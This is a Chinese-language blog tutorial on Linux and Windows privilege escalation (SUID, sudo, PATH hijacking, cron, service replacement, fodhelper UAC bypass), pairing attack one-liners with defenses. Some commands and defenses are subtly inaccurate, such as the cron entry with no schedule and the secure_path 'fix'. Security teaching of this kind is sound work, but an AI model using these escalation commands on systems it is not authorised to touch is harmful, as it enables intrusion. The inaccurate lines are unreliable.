Linux & Windows 提权手法

提权(Privilege Escalation)是指攻击者通过系统漏洞错误配置权限继承等方式,提升自身权限,以执行更高级别的操作。这里分别介绍 Linux 和 Windows 提权方法,并分析其原理攻击方式以及防御手段


🔹 Linux 提权手法

Linux 提权的主要方式包括:

  1. SUID 提权
  2. Sudo 提权
  3. 环境变量(PATH 劫持)
  4. 内核漏洞
  5. Cron Job(计划任务)
  6. NFS 提权
  7. Docker / LXC 提权
  8. SSH 密钥滥用
  9. 配置错误

1️⃣ SUID 提权

🔹 原理

  • Linux 的 SUID(Set User ID) 允许普通用户执行文件所有者权限的可执行文件。
  • 如果SUID 程序存在漏洞,攻击者可以利用它执行 shell 并继承 root 权限

🔹 查找 SUID 程序

find / -perm -4000 -type f 2>/dev/null

常见 SUID 程序:

/usr/bin/passwd
/usr/bin/find
/usr/bin/nmap
/usr/bin/python

🔹 提权示例

find . -exec /bin/sh -p \; -quit
nmap --interactive
!sh

🔹 防御

✅ 移除不必要的 SUID:

chmod -s /usr/bin/find

✅ 使用 nosuid 挂载:

mount -o remount,nosuid /

2️⃣ Sudo 提权

🔹 原理

  • sudo 允许普通用户以 root 身份执行特定命令
  • 如果 sudoers 配置不当(如 NOPASSWD:ALL),攻击者可以执行 root shell。

🔹 查找 sudo 权限

sudo -l

如果允许 vim 以 root 运行:

sudo vim -c '!sh'

🔹 防御

✅ 禁止 sudo 运行交互式程序:

Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

3️⃣ PATH 劫持

🔹 原理

  • 如果 sudo 执行的命令未指定绝对路径,攻击者可创建伪造二进制进行劫持。

🔹 提权示例

假设 /usr/local/bin/backup.sh 运行:

tar -czf backup.tar /home/user/

攻击者可伪造 tar

echo "/bin/bash" > tar
chmod +x tar
export PATH=.:$PATH
sudo /usr/local/bin/backup.sh

🔹 防御

使用绝对路径

/usr/bin/tar -czf backup.tar /home/user/

4️⃣ 内核漏洞提权

🔹 原理

  • Linux 内核如果存在权限提升漏洞,攻击者可直接获取 root

🔹 经典漏洞

漏洞名称影响版本漏洞编号
Dirty COWLinux Kernel < 4.8CVE-2016-5195
PwnKitPolkit (所有版本)CVE-2021-4034
OverlayFSUbuntu KernelCVE-2021-3493

🔹 防御

定期更新系统

apt update && apt upgrade -y

5️⃣ Cron Job 提权

🔹 原理

  • Linux 计划任务(cron)如果以 root 运行,并且普通用户可以修改其脚本,则可劫持执行恶意代码。

🔹 提权示例

echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /var/spool/cron/root

然后等待 cron 执行 /tmp/rootbash 提权。

🔹 防御

确保 cron 任务不可写

chmod 600 /etc/crontab

🔹 Windows 提权手法

Windows 提权的主要方式包括:

  1. 系统漏洞提权
  2. 服务配置错误
  3. 权限错误
  4. 注册表劫持
  5. UAC 绕过
  6. DLL 劫持
  7. 凭据窃取

1️⃣ Windows 系统漏洞提权

🔹 经典漏洞

漏洞名称影响系统漏洞编号
PrintNightmareWindows ServerCVE-2021-1675
LPE BugWindows 10CVE-2021-1732
Token ManipulationWindows 7/10No CVE

🔹 提权工具

  • Windows Exploit Suggester
    windows-exploit-suggester.py --database exploitdb.csv --systeminfo systeminfo.txt
    

🔹 防御

及时打补丁

wuauclt /detectnow /updatenow

2️⃣ Windows 服务提权

🔹 原理

  • Windows 服务如果以 SYSTEM 运行且用户可修改可执行文件路径,则可替换文件进行提权。

🔹 查找可修改服务

sc qc <服务名>
icacls "C:\Program Files\SomeService\service.exe"

🔹 提权

echo C:\Windows\System32\cmd.exe > "C:\Program Files\SomeService\service.exe"

然后重启服务获取 SYSTEM 权限。

🔹 防御

限制服务目录权限

icacls "C:\Program Files\SomeService" /deny Users:(WD)

3️⃣ Windows UAC 绕过

🔹 原理

  • Windows UAC 允许部分系统程序以高权限运行,攻击者可劫持这些程序。

🔹 经典 UAC 绕过方法

reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\System32\cmd.exe"
fodhelper.exe

🔹 防御

启用 UAC 最高安全级别

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2

总结

操作系统提权方式攻击方式防御措施
LinuxSUID 提权find . -exec /bin/sh -p \;移除不必要的 SUID
LinuxSudo 提权sudo vim -> :!sh限制 sudo 配置
LinuxPATH 劫持export PATH=.:$PATH使用绝对路径
Windows系统漏洞CVE-2021-1675及时更新补丁
WindowsUAC 绕过fodhelper.exe 劫持启用最高 UAC
WindowsDLL 劫持C:\Program Files\some.dll限制 DLL 目录权限

总结:Linux 主要依赖 SUID、sudo、PATH 劫持和内核漏洞;Windows 主要依赖服务配置错误、UAC 绕过和系统漏洞。防御方式主要是最小权限原则、及时打补丁、限制文件可写权限。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值